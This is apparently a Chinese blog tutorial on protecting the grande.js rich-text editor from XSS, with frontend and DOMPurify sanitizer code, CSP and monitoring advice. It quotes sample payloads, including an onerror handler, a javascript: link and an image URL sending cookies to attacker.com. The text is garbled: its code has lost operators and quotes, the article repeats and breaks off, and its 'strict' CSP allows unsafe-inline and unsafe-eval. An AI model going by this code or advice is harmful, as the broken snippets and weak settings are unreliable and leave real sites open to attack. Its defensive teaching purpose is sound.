1. 项目概述为什么富文本编辑器的安全是前端开发的“阿喀琉斯之踵”如果你做过带用户内容发布功能的前端项目比如论坛、博客后台或者内容管理系统那你一定对富文本编辑器不陌生。用户在里面写文章、排版、贴图片最后生成一段HTML提交给后端这看起来顺理成章。但恰恰是这个“顺理成章”的环节成了无数安全漏洞的源头。我见过太多项目前端用了grande.js、Quill或者TinyMCE后端也做了转义但最后还是被XSS攻击打穿了。问题出在哪往往出在大家对“富文本安全”的理解是割裂和片面的。grande.js是一个轻量级、可扩展的富文本编辑器它的API设计很优雅但“能力越大责任越大”。它给了开发者直接操作DOM和HTML字符串的能力同时也把安全的重担完全交给了开发者。这次我们不谈空洞的理论就聚焦在grande.js这个具体工具上拆解从内容输入、编辑、提交到渲染的全链路中每一个可能被XSS利用的缝隙并给出可直接复制粘贴的防护代码和配置方案。无论你是刚刚接手一个遗留系统还是正在从零设计一个内容平台这篇指南里的坑我都替你踩过了。2. 核心威胁解析XSS是如何透过富文本编辑器“渗”进来的在讨论防护之前我们必须像攻击者一样思考搞清楚威胁究竟来自何方。对于grande.js这类富文本编辑器XSS攻击向量远比一个简单的scriptalert(1)/script要复杂和隐蔽。2.1 输入阶段的“污染”用户粘贴是最大的风险入口绝大多数富文本编辑器的XSS问题始于一个简单的动作粘贴。用户可能从任何一个网页复制内容而那个网页可能本身就包含恶意脚本。当用户粘贴时浏览器会尝试保留原始格式将完整的HTML结构包括隐藏的恶意代码一并送入编辑器。例如一个看似无害的带样式的文本其底层HTML可能是span stylecolor: red;你好世界img src\x\ onerror\stealCookie()\/spangrande.js默认会接收并处理这段HTML。onerror事件处理器就是一个典型的XSS载荷。更隐蔽的还有使用a标签的javascript:伪协议或者利用CSS表达式的古老攻击方式。注意不要依赖浏览器的“安全粘贴”。不同浏览器行为不一致且无法防御所有变种。必须在前端进行主动过滤和净化。2.2 编辑器内部的“变异”内容状态变化引入的风险即使用户初始输入是干净的在编辑过程中也可能产生风险。grande.js提供了诸如document.execCommand的封装来执行加粗、创建链接等操作。如果这些命令的实现或调用方式有瑕疵可能意外生成或允许不合规的HTML。例如通过编辑器API动态设置链接的href属性时如果未经验证就拼接用户输入就可能创建a href\javascript:alert(xss)\点击/a这样的危险链接。攻击者可能通过编辑已有“安全”的内容利用编辑器功能注入恶意属性。2.3 输出与渲染的“失守”最致命的环节这是最常被忽视的一环。开发者常常认为“内容已经提交到后端并存入数据库了后端也做了HTML转义应该安全了。”但富文本内容特殊它需要保留合法的HTML标签如b、img、a以维持格式。如果后端使用错误的转义函数例如对整段富文本内容使用escape()或htmlspecialchars()会导致所有HTML标签被转义成纯文本格式完全丢失。正确的做法是区分“富文本上下文”和“非富文本上下文”的转义。在非富文本上下文如标题、作者名中转义所有HTML特殊字符。在富文本上下文即编辑器内容中不能无差别转义而必须使用一个“白名单”过滤器只允许安全的标签和属性通过并确保属性值也是安全的。如果后端没有这个“白名单”过滤那么前端grande.js做的任何过滤都是徒劳的因为攻击者可以绕过前端直接向API发送恶意负载。3. 构建前端防线grande.js 内容输入与编辑的主动过滤前端防护是安全的第一道关口目标是在恶意内容进入编辑器或提交之前就将其拦截或净化。我们不能完全依赖后端因为后端的错误配置可能导致灾难。3.1 初始化配置与安全沙箱在实例化grande.js编辑器时我们就要有安全意识。虽然grande.js本身配置选项不如一些大型编辑器丰富但我们可以通过包装和监听来增强它。// 安全增强的grande.js初始化示例 const SafeGrandeEditor (elementId) { const editorElement document.getElementById(elementId); if (!editorElement) return null; // 1. 设置内容安全策略CSP相关的属性辅助手段 editorElement.setAttribute(data-safe-mode, true); // 2. 初始化grande.js const editor grande(editorElement); // 3. 关键覆写或监听内容变化插入过滤层 const originalContentSetter Object.getOwnPropertyDescriptor(editorElement, innerHTML).set; if (originalContentSetter) { Object.defineProperty(editorElement, innerHTML, { set: function(value) { // 在设置HTML前进行过滤 const sanitizedValue sanitizeHTML(value); return originalContentSetter.call(this, sanitizedValue); }, get: Object.getOwnPropertyDescriptor(editorElement, innerHTML).get }); } // 4. 监听粘贴事件最重要的防线 editorElement.addEventListener(paste, (e) { e.preventDefault(); // 阻止默认粘贴行为 const text (e.clipboardData || window.clipboardData).getData(text); // 优先获取纯文本从源头上杜绝HTML const safeText stripHTMLTags(text); // 一个简单的标签剥离函数 document.execCommand(insertText, false, safeText); }); return editor; }; // 简单的标签剥离函数用于纯文本粘贴场景 function stripHTMLTags(html) { const div document.createElement(div); div.textContent html; // 利用textContent属性自动忽略HTML标签 return div.innerHTML; // 此时innerHTML已是转义后的文本 }原理说明我们通过拦截innerHTML的setter和paste事件在内容进入编辑器DOM树之前进行干预。粘贴时优先采用纯文本模式这是最安全的方式但会丢失所有格式。对于需要保留格式的场景则需要更复杂的sanitizeHTML函数。3.2 实现一个轻量级前端HTML过滤器白名单方案当必须允许部分HTML时例如从其他编辑器粘贴我们需要一个前端过滤器。这里实现一个精简但有效的版本// 基于白名单的HTML过滤器 function sanitizeHTML(dirtyHtml) { const whitelistTags [b, i, u, strong, em, p, br, div, span, h1, h2, h3, ul, ol, li, a, img]; const whitelistAttrs { a: [href, title, target], img: [src, alt, title, width, height], *: [style, class] // 谨慎允许style和class }; const parser new DOMParser(); const doc parser.parseFromString(dirtyHtml, text/html); // 递归清理节点 const sanitizeNode (node) { // 处理元素节点 if (node.nodeType Node.ELEMENT_NODE) { const tagName node.tagName.toLowerCase(); // 如果标签不在白名单移除该节点只保留其子节点 if (!whitelistTags.includes(tagName)) { const fragment document.createDocumentFragment(); while (node.firstChild) { sanitizeNode(node.firstChild); // 先清理子节点 fragment.appendChild(node.firstChild); } node.parentNode.replaceChild(fragment, node); return; } // 清理属性 const allowedAttrs whitelistAttrs[tagName] || []; const globalAttrs whitelistAttrs[*] || []; const allAllowedAttrs [...allowedAttrs, ...globalAttrs]; const attrs Array.from(node.attributes); attrs.forEach(attr { if (!allAllowedAttrs.includes(attr.name.toLowerCase())) { node.removeAttribute(attr.name); } else { // 对特定属性值进行安全校验 if (attr.name href || attr.name src) { // 禁止javascript:等危险协议 const value attr.value.trim().toLowerCase(); if (value.startsWith(javascript:) || value.startsWith(data:) || value.startsWith(vbscript:)) { node.removeAttribute(attr.name); } } if (attr.name style) { // 简单清理style中的危险表达式实际项目应用更严格的CSS解析器 if (attr.value.includes(expression) || attr.value.includes(javascript:)) { node.removeAttribute(style); } } } }); } // 递归清理子节点 if (node.childNodes) { Array.from(node.childNodes).forEach(child sanitizeNode(child)); } }; sanitizeNode(doc.body); return doc.body.innerHTML; }实操要点白名单至上只允许已知安全的标签和属性其他一律拒绝。这是最根本的原则。属性值验证特别是href、src、style和事件处理器如onclick必须检查其值是否包含危险协议或代码。性能考量对于实时过滤如每次按键这个DOM解析操作可能较重。可以考虑防抖处理或仅在粘贴、设置内容时触发。3.3 提交前的最终内容校验在用户点击提交按钮时应再次对编辑器内的最终内容进行一次安全检查作为前端的最后一道校验。document.getElementById(submitBtn).addEventListener(click, function(e) { const editorContent document.getElementById(myGrandeEditor).innerHTML; const finalSanitizedContent sanitizeHTML(editorContent); // 对比过滤前后内容是否一致如果不一致可能提示用户内容已被清理 if (editorContent ! finalSanitizedContent) { if (!confirm(您的内容包含不安全格式已被自动清理。是否继续提交)) { e.preventDefault(); return; } } // 将安全的内容放入一个隐藏的input供表单提交 document.getElementById(safeContentInput).value finalSanitizedContent; // 然后继续提交表单... });4. 筑牢后端堡垒服务端不可信任任何前端输入前端的所有安全措施都是“用户体验层”的可以被完全绕过如直接调用API。因此服务端的过滤是强制且不可妥协的。4.1 选择合适的HTML净化库绝对不要自己用正则表达式解析HTML这是一个复杂且极易出错的领域。使用久经考验的库Node.js:DOMPurify是行业标准。也可以使用xss或sanitize-html。Python:bleach是Mozilla维护的优秀库。Java:Jsoup提供了强大的HTML解析和清理功能。PHP:htmlpurifier功能非常全面。以Node.js DOMPurify为例// 后端API处理层Node.js/Express示例 const DOMPurify require(dompurify); const { JSDOM } require(jsdom); const window new JSDOM().window; const dompurify DOMPurify(window); app.post(/api/save-article, express.json(), (req, res) { const { title, rawContent } req.body; // 1. 对普通文本字段如标题进行严格HTML转义 const safeTitle escapeHtml(title); // 使用类似he库或自定义转义函数 // 2. 对富文本内容进行基于白名单的净化 const config { ALLOWED_TAGS: [p, br, b, i, u, strong, em, a, img, ul, ol, li, h1, h2, h3, div, span], ALLOWED_ATTR: [href, title, target, src, alt, width, height, style, class], ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto|tel):|[^a-z]|[a-z.\-](?:[^a-z.\-:]|$))/i, // 允许常见安全协议禁止javascript: FORBID_TAGS: [script, style, iframe, object, embed, form, input, button], FORBID_ATTR: [onclick, onerror, onload, onmouseover, style], // 谨慎对待style可进一步解析 }; const cleanContent dompurify.sanitize(rawContent, config); // 3. 进一步净化后的内容还可以对style属性进行CSS安全解析使用cssfilter等库 // 4. 将safeTitle和cleanContent存入数据库 // ... 数据库操作 res.json({ success: true }); }); function escapeHtml(text) { const map { : amp;, : lt;, : gt;, : quot;, : #039; }; return text.replace(/[]/g, m map[m]); }4.2 定义严格的白名单策略白名单的定义需要结合业务需求。一个博客系统和一个内部公告板允许的标签范围可能完全不同。建议从最严格的集合开始随着业务需求明确再逐步、谨慎地添加。一个常见的白名单配置表示例标签允许的属性说明与额外规则ahref,title,targethref必须通过安全协议校验 (http://,https://,mailto:,tel:)target_blank时建议自动添加relnoopener noreferrerimgsrc,alt,title,width,heightsrc必须为HTTP(S)或相对路径可考虑限制域名或启用图片代理p,div,spanstyle,classstyle属性需要CSS安全过滤防止expression()等b,strong,i,em,u(无)仅样式标签通常无需属性ul,ol,li(无)列表标签h1,h2,h3(无)标题标签br(无)换行标签核心心得style和class属性是双刃剑。它们本身很有用但style可能包含expression()旧IE或url(javascript:...)class可能被用于CSS选择器攻击虽然较少见。如果业务不是必须可以考虑禁止它们。如果必须允许则需要对style的值进行CSS解析和过滤。4.3 存储与输出策略净化后的内容可以安全地存入数据库。但请注意即使存的是净化后的内容在渲染到页面时也要根据上下文进行正确的输出编码。在HTML正文中渲染富文本直接输出净化后的HTML字符串即可因为它是“干净的”HTML。!-- 安全 -- div class\article-content\{{{cleanHtmlContent}}}/div注意许多模板引擎使用{{{ }}}表示不转义输出{{ }}表示转义输出。这里需要使用不转义的语法。在非HTML上下文中如JSON API直接返回净化后的字符串。绝对不要对净化后的富文本内容再次进行HTML实体转义否则p会变成lt;pgt;格式就毁了。5. 深度防御与监控超越基础过滤做到以上几步已经能防御99%的XSS攻击了。但对于安全要求极高的系统还需要考虑更深层的防御。5.1 内容安全策略 (CSP) 的部署CSP是一个重要的后端安全头它可以告诉浏览器哪些资源是允许加载和执行的。即使攻击者成功注入了脚本如果CSP配置得当浏览器也不会执行它。一个针对富文本内容的严格CSP示例HTTP响应头Content-Security-Policy: default-src self; script-src self unsafe-inline unsafe-eval; style-src self unsafe-inline; img-src self data: https://cdn.example.com; font-src self; connect-src self关键点script-src包含了unsafe-inline这是因为富文本编辑器本身可能需要内联脚本才能工作。这是一个安全权衡。理想情况是编辑器所有JS都通过外部文件加载从而可以移除unsafe-inline。img-src限制了图片只能从本站或指定的CDN加载防止通过img标签窃取信息img src\http://attacker.com/steal?cookie\ document.cookie。你可以通过逐步收紧策略来提升安全性。使用Content-Security-Policy-Report-Only头先监控而不拦截观察是否有正常功能被阻断。5.2 富文本中媒体内容的安全处理用户上传的图片或嵌入的第三方iframe/视频是另一个风险点。图片上传强制将用户上传的图片保存到自家服务器或可信对象存储永不直接使用用户提供的图片URL。对上传的图片进行重命名避免执行漏洞并进行格式验证与转换如统一转为JPEG/PNG剥离EXIF等元数据。使用图片处理服务生成不同尺寸的缩略图前端引用处理后的图片地址。第三方嵌入iframe video等在净化白名单中默认禁止iframe,object,embed等标签。如果业务必须支持如嵌入B站视频则提供一个专门的“嵌入媒体”按钮由后端解析用户提供的分享链接如https://www.bilibili.com/video/BV1xx...验证其来源是否在允许的域名列表如*.bilibili.com,*.youtube.com中然后由后端生成一个安全的、沙箱化的iframe代码片段插入内容。绝对不要让用户直接输入iframe代码。5.3 建立安全监控与审计日志输入日志记录所有内容提交请求的原始载荷rawContent和净化后的载荷cleanContent。当发现攻击时可以回溯分析攻击模式。差异告警如果rawContent和cleanContent差异巨大例如被移除了大量标签可以触发一个低优先级的告警提示可能有攻击尝试或过滤规则需要调整。定期安全扫描对生产环境中的富文本内容进行定期扫描查找是否有没有被过滤掉的危险模式如javascript:链接、可疑的事件属性。这可以作为最后一道兜底检查。6. 常见问题排查与实战技巧实录在实际开发和维护中你会遇到各种各样奇怪的问题。下面是我踩过的一些坑和解决方案。6.1 问题过滤后格式乱了列表、表格样式丢失原因你的白名单过滤得太严格或者过滤时破坏了DOM结构。例如用户从Word复制了一个复杂的表格其中包含table、tr、td标签以及许多colspan、rowspan属性而你的白名单里没有这些。解决方案分析需求你的产品真的需要支持表格吗如果不需要可以在过滤时将其转换为纯文本或简单的段落。如果需要则必须将相关标签和属性加入白名单。使用更智能的净化库像DOMPurify和bleach这类库在移除非法标签时会尝试保持DOM结构的完整性比简单的正则或字符串替换要可靠得多。提供“粘贴为纯文本”按钮作为降级方案给用户一个明确的选择。6.2 问题后端净化了内容但前端回显编辑时内容“变脏”了场景从数据库取出净化后的安全HTML填充到grande.js编辑器中供用户再次编辑。用户什么都没改就提交结果后端发现内容“不干净”了。原因浏览器或grande.js在操作DOM时可能会“规范化”HTML。例如将bHello/b变成strongHello/strong或者自动补全标签、更改属性顺序。这些更改虽然语义可能相同但字符串表示已经变化可能触发后端的二次过滤或误判。解决方案前后端使用完全一致的净化规则确保白名单、属性处理逻辑一致。避免不必要的来回净化如果内容从后端取出时已经是安全的前端在初始化编辑器时可以将其标记为“已信任”跳过前端过滤仅对后续的新输入进行过滤。但这需要仔细设计状态管理。采用内容哈希比对提交时不仅提交内容也提交一个基于原始安全内容计算出的哈希值。后端验证哈希是否匹配如果匹配则说明内容未变直接通过避免二次过滤带来的差异。6.3 问题移动端或特定浏览器下粘贴行为不一致原因不同浏览器、不同设备对剪贴板API的支持和默认粘贴行为有差异。解决方案统一使用paste事件监听如前面示例所示这是最可靠的方式。提供多种粘贴选项在编辑器工具栏增加“粘贴为纯文本”和“粘贴并保留格式”两个按钮。前者直接调用document.execCommand(insertText, false, clipboardText)后者则走完整的HTML过滤流程。充分测试在iOS Safari、Android Chrome、桌面端主流浏览器上进行粘贴功能测试。6.4 一个容易被忽略的角落从其他富文本编辑器迁移内容当你需要把用户从其他编辑器如UEditor、CKEditor生成的内容导入到grande.js系统时那些内容可能包含grande.js不支持的标签或自定义属性。技巧编写一个“迁移过滤器”。这个过滤器比常规的安全过滤器更宽松它的任务不是安全过滤而是标签转换和规范化。例如将font color\red\转换为span style\color: red;\将旧的b和i转换为更语义化的strong和em。在迁移完成后再对统一后的内容进行标准的安全净化。安全是一个持续的过程而非一劳永逸的设置。围绕grande.js构建XSS防护体系需要你深刻理解数据在用户浏览器、编辑器实例、网络传输、服务器处理、数据库存储以及最终页面渲染这个完整链条中的每一个形态变化。记住核心原则前端过滤为了体验后端净化为了安全输入要过滤输出要编码白名单优于黑名单永远不要信任用户输入。把这些原则落实到代码和配置中你的富文本编辑器才能真正地既强大又安全。
grande.js富文本编辑器XSS防护全链路实战：从前端过滤到后端净化
发布时间：2026/6/20 9:14:51
1. 项目概述为什么富文本编辑器的安全是前端开发的“阿喀琉斯之踵”如果你做过带用户内容发布功能的前端项目比如论坛、博客后台或者内容管理系统那你一定对富文本编辑器不陌生。用户在里面写文章、排版、贴图片最后生成一段HTML提交给后端这看起来顺理成章。但恰恰是这个“顺理成章”的环节成了无数安全漏洞的源头。我见过太多项目前端用了grande.js、Quill或者TinyMCE后端也做了转义但最后还是被XSS攻击打穿了。问题出在哪往往出在大家对“富文本安全”的理解是割裂和片面的。grande.js是一个轻量级、可扩展的富文本编辑器它的API设计很优雅但“能力越大责任越大”。它给了开发者直接操作DOM和HTML字符串的能力同时也把安全的重担完全交给了开发者。这次我们不谈空洞的理论就聚焦在grande.js这个具体工具上拆解从内容输入、编辑、提交到渲染的全链路中每一个可能被XSS利用的缝隙并给出可直接复制粘贴的防护代码和配置方案。无论你是刚刚接手一个遗留系统还是正在从零设计一个内容平台这篇指南里的坑我都替你踩过了。2. 核心威胁解析XSS是如何透过富文本编辑器“渗”进来的在讨论防护之前我们必须像攻击者一样思考搞清楚威胁究竟来自何方。对于grande.js这类富文本编辑器XSS攻击向量远比一个简单的scriptalert(1)/script要复杂和隐蔽。2.1 输入阶段的“污染”用户粘贴是最大的风险入口绝大多数富文本编辑器的XSS问题始于一个简单的动作粘贴。用户可能从任何一个网页复制内容而那个网页可能本身就包含恶意脚本。当用户粘贴时浏览器会尝试保留原始格式将完整的HTML结构包括隐藏的恶意代码一并送入编辑器。例如一个看似无害的带样式的文本其底层HTML可能是span stylecolor: red;你好世界img src\x\ onerror\stealCookie()\/spangrande.js默认会接收并处理这段HTML。onerror事件处理器就是一个典型的XSS载荷。更隐蔽的还有使用a标签的javascript:伪协议或者利用CSS表达式的古老攻击方式。注意不要依赖浏览器的“安全粘贴”。不同浏览器行为不一致且无法防御所有变种。必须在前端进行主动过滤和净化。2.2 编辑器内部的“变异”内容状态变化引入的风险即使用户初始输入是干净的在编辑过程中也可能产生风险。grande.js提供了诸如document.execCommand的封装来执行加粗、创建链接等操作。如果这些命令的实现或调用方式有瑕疵可能意外生成或允许不合规的HTML。例如通过编辑器API动态设置链接的href属性时如果未经验证就拼接用户输入就可能创建a href\javascript:alert(xss)\点击/a这样的危险链接。攻击者可能通过编辑已有“安全”的内容利用编辑器功能注入恶意属性。2.3 输出与渲染的“失守”最致命的环节这是最常被忽视的一环。开发者常常认为“内容已经提交到后端并存入数据库了后端也做了HTML转义应该安全了。”但富文本内容特殊它需要保留合法的HTML标签如b、img、a以维持格式。如果后端使用错误的转义函数例如对整段富文本内容使用escape()或htmlspecialchars()会导致所有HTML标签被转义成纯文本格式完全丢失。正确的做法是区分“富文本上下文”和“非富文本上下文”的转义。在非富文本上下文如标题、作者名中转义所有HTML特殊字符。在富文本上下文即编辑器内容中不能无差别转义而必须使用一个“白名单”过滤器只允许安全的标签和属性通过并确保属性值也是安全的。如果后端没有这个“白名单”过滤那么前端grande.js做的任何过滤都是徒劳的因为攻击者可以绕过前端直接向API发送恶意负载。3. 构建前端防线grande.js 内容输入与编辑的主动过滤前端防护是安全的第一道关口目标是在恶意内容进入编辑器或提交之前就将其拦截或净化。我们不能完全依赖后端因为后端的错误配置可能导致灾难。3.1 初始化配置与安全沙箱在实例化grande.js编辑器时我们就要有安全意识。虽然grande.js本身配置选项不如一些大型编辑器丰富但我们可以通过包装和监听来增强它。// 安全增强的grande.js初始化示例 const SafeGrandeEditor (elementId) { const editorElement document.getElementById(elementId); if (!editorElement) return null; // 1. 设置内容安全策略CSP相关的属性辅助手段 editorElement.setAttribute(data-safe-mode, true); // 2. 初始化grande.js const editor grande(editorElement); // 3. 关键覆写或监听内容变化插入过滤层 const originalContentSetter Object.getOwnPropertyDescriptor(editorElement, innerHTML).set; if (originalContentSetter) { Object.defineProperty(editorElement, innerHTML, { set: function(value) { // 在设置HTML前进行过滤 const sanitizedValue sanitizeHTML(value); return originalContentSetter.call(this, sanitizedValue); }, get: Object.getOwnPropertyDescriptor(editorElement, innerHTML).get }); } // 4. 监听粘贴事件最重要的防线 editorElement.addEventListener(paste, (e) { e.preventDefault(); // 阻止默认粘贴行为 const text (e.clipboardData || window.clipboardData).getData(text); // 优先获取纯文本从源头上杜绝HTML const safeText stripHTMLTags(text); // 一个简单的标签剥离函数 document.execCommand(insertText, false, safeText); }); return editor; }; // 简单的标签剥离函数用于纯文本粘贴场景 function stripHTMLTags(html) { const div document.createElement(div); div.textContent html; // 利用textContent属性自动忽略HTML标签 return div.innerHTML; // 此时innerHTML已是转义后的文本 }原理说明我们通过拦截innerHTML的setter和paste事件在内容进入编辑器DOM树之前进行干预。粘贴时优先采用纯文本模式这是最安全的方式但会丢失所有格式。对于需要保留格式的场景则需要更复杂的sanitizeHTML函数。3.2 实现一个轻量级前端HTML过滤器白名单方案当必须允许部分HTML时例如从其他编辑器粘贴我们需要一个前端过滤器。这里实现一个精简但有效的版本// 基于白名单的HTML过滤器 function sanitizeHTML(dirtyHtml) { const whitelistTags [b, i, u, strong, em, p, br, div, span, h1, h2, h3, ul, ol, li, a, img]; const whitelistAttrs { a: [href, title, target], img: [src, alt, title, width, height], *: [style, class] // 谨慎允许style和class }; const parser new DOMParser(); const doc parser.parseFromString(dirtyHtml, text/html); // 递归清理节点 const sanitizeNode (node) { // 处理元素节点 if (node.nodeType Node.ELEMENT_NODE) { const tagName node.tagName.toLowerCase(); // 如果标签不在白名单移除该节点只保留其子节点 if (!whitelistTags.includes(tagName)) { const fragment document.createDocumentFragment(); while (node.firstChild) { sanitizeNode(node.firstChild); // 先清理子节点 fragment.appendChild(node.firstChild); } node.parentNode.replaceChild(fragment, node); return; } // 清理属性 const allowedAttrs whitelistAttrs[tagName] || []; const globalAttrs whitelistAttrs[*] || []; const allAllowedAttrs [...allowedAttrs, ...globalAttrs]; const attrs Array.from(node.attributes); attrs.forEach(attr { if (!allAllowedAttrs.includes(attr.name.toLowerCase())) { node.removeAttribute(attr.name); } else { // 对特定属性值进行安全校验 if (attr.name href || attr.name src) { // 禁止javascript:等危险协议 const value attr.value.trim().toLowerCase(); if (value.startsWith(javascript:) || value.startsWith(data:) || value.startsWith(vbscript:)) { node.removeAttribute(attr.name); } } if (attr.name style) { // 简单清理style中的危险表达式实际项目应用更严格的CSS解析器 if (attr.value.includes(expression) || attr.value.includes(javascript:)) { node.removeAttribute(style); } } } }); } // 递归清理子节点 if (node.childNodes) { Array.from(node.childNodes).forEach(child sanitizeNode(child)); } }; sanitizeNode(doc.body); return doc.body.innerHTML; }实操要点白名单至上只允许已知安全的标签和属性其他一律拒绝。这是最根本的原则。属性值验证特别是href、src、style和事件处理器如onclick必须检查其值是否包含危险协议或代码。性能考量对于实时过滤如每次按键这个DOM解析操作可能较重。可以考虑防抖处理或仅在粘贴、设置内容时触发。3.3 提交前的最终内容校验在用户点击提交按钮时应再次对编辑器内的最终内容进行一次安全检查作为前端的最后一道校验。document.getElementById(submitBtn).addEventListener(click, function(e) { const editorContent document.getElementById(myGrandeEditor).innerHTML; const finalSanitizedContent sanitizeHTML(editorContent); // 对比过滤前后内容是否一致如果不一致可能提示用户内容已被清理 if (editorContent ! finalSanitizedContent) { if (!confirm(您的内容包含不安全格式已被自动清理。是否继续提交)) { e.preventDefault(); return; } } // 将安全的内容放入一个隐藏的input供表单提交 document.getElementById(safeContentInput).value finalSanitizedContent; // 然后继续提交表单... });4. 筑牢后端堡垒服务端不可信任任何前端输入前端的所有安全措施都是“用户体验层”的可以被完全绕过如直接调用API。因此服务端的过滤是强制且不可妥协的。4.1 选择合适的HTML净化库绝对不要自己用正则表达式解析HTML这是一个复杂且极易出错的领域。使用久经考验的库Node.js:DOMPurify是行业标准。也可以使用xss或sanitize-html。Python:bleach是Mozilla维护的优秀库。Java:Jsoup提供了强大的HTML解析和清理功能。PHP:htmlpurifier功能非常全面。以Node.js DOMPurify为例// 后端API处理层Node.js/Express示例 const DOMPurify require(dompurify); const { JSDOM } require(jsdom); const window new JSDOM().window; const dompurify DOMPurify(window); app.post(/api/save-article, express.json(), (req, res) { const { title, rawContent } req.body; // 1. 对普通文本字段如标题进行严格HTML转义 const safeTitle escapeHtml(title); // 使用类似he库或自定义转义函数 // 2. 对富文本内容进行基于白名单的净化 const config { ALLOWED_TAGS: [p, br, b, i, u, strong, em, a, img, ul, ol, li, h1, h2, h3, div, span], ALLOWED_ATTR: [href, title, target, src, alt, width, height, style, class], ALLOWED_URI_REGEXP: /^(?:(?:(?:f|ht)tps?|mailto|tel):|[^a-z]|[a-z.\-](?:[^a-z.\-:]|$))/i, // 允许常见安全协议禁止javascript: FORBID_TAGS: [script, style, iframe, object, embed, form, input, button], FORBID_ATTR: [onclick, onerror, onload, onmouseover, style], // 谨慎对待style可进一步解析 }; const cleanContent dompurify.sanitize(rawContent, config); // 3. 进一步净化后的内容还可以对style属性进行CSS安全解析使用cssfilter等库 // 4. 将safeTitle和cleanContent存入数据库 // ... 数据库操作 res.json({ success: true }); }); function escapeHtml(text) { const map { : amp;, : lt;, : gt;, : quot;, : #039; }; return text.replace(/[]/g, m map[m]); }4.2 定义严格的白名单策略白名单的定义需要结合业务需求。一个博客系统和一个内部公告板允许的标签范围可能完全不同。建议从最严格的集合开始随着业务需求明确再逐步、谨慎地添加。一个常见的白名单配置表示例标签允许的属性说明与额外规则ahref,title,targethref必须通过安全协议校验 (http://,https://,mailto:,tel:)target_blank时建议自动添加relnoopener noreferrerimgsrc,alt,title,width,heightsrc必须为HTTP(S)或相对路径可考虑限制域名或启用图片代理p,div,spanstyle,classstyle属性需要CSS安全过滤防止expression()等b,strong,i,em,u(无)仅样式标签通常无需属性ul,ol,li(无)列表标签h1,h2,h3(无)标题标签br(无)换行标签核心心得style和class属性是双刃剑。它们本身很有用但style可能包含expression()旧IE或url(javascript:...)class可能被用于CSS选择器攻击虽然较少见。如果业务不是必须可以考虑禁止它们。如果必须允许则需要对style的值进行CSS解析和过滤。4.3 存储与输出策略净化后的内容可以安全地存入数据库。但请注意即使存的是净化后的内容在渲染到页面时也要根据上下文进行正确的输出编码。在HTML正文中渲染富文本直接输出净化后的HTML字符串即可因为它是“干净的”HTML。!-- 安全 -- div class\article-content\{{{cleanHtmlContent}}}/div注意许多模板引擎使用{{{ }}}表示不转义输出{{ }}表示转义输出。这里需要使用不转义的语法。在非HTML上下文中如JSON API直接返回净化后的字符串。绝对不要对净化后的富文本内容再次进行HTML实体转义否则p会变成lt;pgt;格式就毁了。5. 深度防御与监控超越基础过滤做到以上几步已经能防御99%的XSS攻击了。但对于安全要求极高的系统还需要考虑更深层的防御。5.1 内容安全策略 (CSP) 的部署CSP是一个重要的后端安全头它可以告诉浏览器哪些资源是允许加载和执行的。即使攻击者成功注入了脚本如果CSP配置得当浏览器也不会执行它。一个针对富文本内容的严格CSP示例HTTP响应头Content-Security-Policy: default-src self; script-src self unsafe-inline unsafe-eval; style-src self unsafe-inline; img-src self data: https://cdn.example.com; font-src self; connect-src self关键点script-src包含了unsafe-inline这是因为富文本编辑器本身可能需要内联脚本才能工作。这是一个安全权衡。理想情况是编辑器所有JS都通过外部文件加载从而可以移除unsafe-inline。img-src限制了图片只能从本站或指定的CDN加载防止通过img标签窃取信息img src\http://attacker.com/steal?cookie\ document.cookie。你可以通过逐步收紧策略来提升安全性。使用Content-Security-Policy-Report-Only头先监控而不拦截观察是否有正常功能被阻断。5.2 富文本中媒体内容的安全处理用户上传的图片或嵌入的第三方iframe/视频是另一个风险点。图片上传强制将用户上传的图片保存到自家服务器或可信对象存储永不直接使用用户提供的图片URL。对上传的图片进行重命名避免执行漏洞并进行格式验证与转换如统一转为JPEG/PNG剥离EXIF等元数据。使用图片处理服务生成不同尺寸的缩略图前端引用处理后的图片地址。第三方嵌入iframe video等在净化白名单中默认禁止iframe,object,embed等标签。如果业务必须支持如嵌入B站视频则提供一个专门的“嵌入媒体”按钮由后端解析用户提供的分享链接如https://www.bilibili.com/video/BV1xx...验证其来源是否在允许的域名列表如*.bilibili.com,*.youtube.com中然后由后端生成一个安全的、沙箱化的iframe代码片段插入内容。绝对不要让用户直接输入iframe代码。5.3 建立安全监控与审计日志输入日志记录所有内容提交请求的原始载荷rawContent和净化后的载荷cleanContent。当发现攻击时可以回溯分析攻击模式。差异告警如果rawContent和cleanContent差异巨大例如被移除了大量标签可以触发一个低优先级的告警提示可能有攻击尝试或过滤规则需要调整。定期安全扫描对生产环境中的富文本内容进行定期扫描查找是否有没有被过滤掉的危险模式如javascript:链接、可疑的事件属性。这可以作为最后一道兜底检查。6. 常见问题排查与实战技巧实录在实际开发和维护中你会遇到各种各样奇怪的问题。下面是我踩过的一些坑和解决方案。6.1 问题过滤后格式乱了列表、表格样式丢失原因你的白名单过滤得太严格或者过滤时破坏了DOM结构。例如用户从Word复制了一个复杂的表格其中包含table、tr、td标签以及许多colspan、rowspan属性而你的白名单里没有这些。解决方案分析需求你的产品真的需要支持表格吗如果不需要可以在过滤时将其转换为纯文本或简单的段落。如果需要则必须将相关标签和属性加入白名单。使用更智能的净化库像DOMPurify和bleach这类库在移除非法标签时会尝试保持DOM结构的完整性比简单的正则或字符串替换要可靠得多。提供“粘贴为纯文本”按钮作为降级方案给用户一个明确的选择。6.2 问题后端净化了内容但前端回显编辑时内容“变脏”了场景从数据库取出净化后的安全HTML填充到grande.js编辑器中供用户再次编辑。用户什么都没改就提交结果后端发现内容“不干净”了。原因浏览器或grande.js在操作DOM时可能会“规范化”HTML。例如将bHello/b变成strongHello/strong或者自动补全标签、更改属性顺序。这些更改虽然语义可能相同但字符串表示已经变化可能触发后端的二次过滤或误判。解决方案前后端使用完全一致的净化规则确保白名单、属性处理逻辑一致。避免不必要的来回净化如果内容从后端取出时已经是安全的前端在初始化编辑器时可以将其标记为“已信任”跳过前端过滤仅对后续的新输入进行过滤。但这需要仔细设计状态管理。采用内容哈希比对提交时不仅提交内容也提交一个基于原始安全内容计算出的哈希值。后端验证哈希是否匹配如果匹配则说明内容未变直接通过避免二次过滤带来的差异。6.3 问题移动端或特定浏览器下粘贴行为不一致原因不同浏览器、不同设备对剪贴板API的支持和默认粘贴行为有差异。解决方案统一使用paste事件监听如前面示例所示这是最可靠的方式。提供多种粘贴选项在编辑器工具栏增加“粘贴为纯文本”和“粘贴并保留格式”两个按钮。前者直接调用document.execCommand(insertText, false, clipboardText)后者则走完整的HTML过滤流程。充分测试在iOS Safari、Android 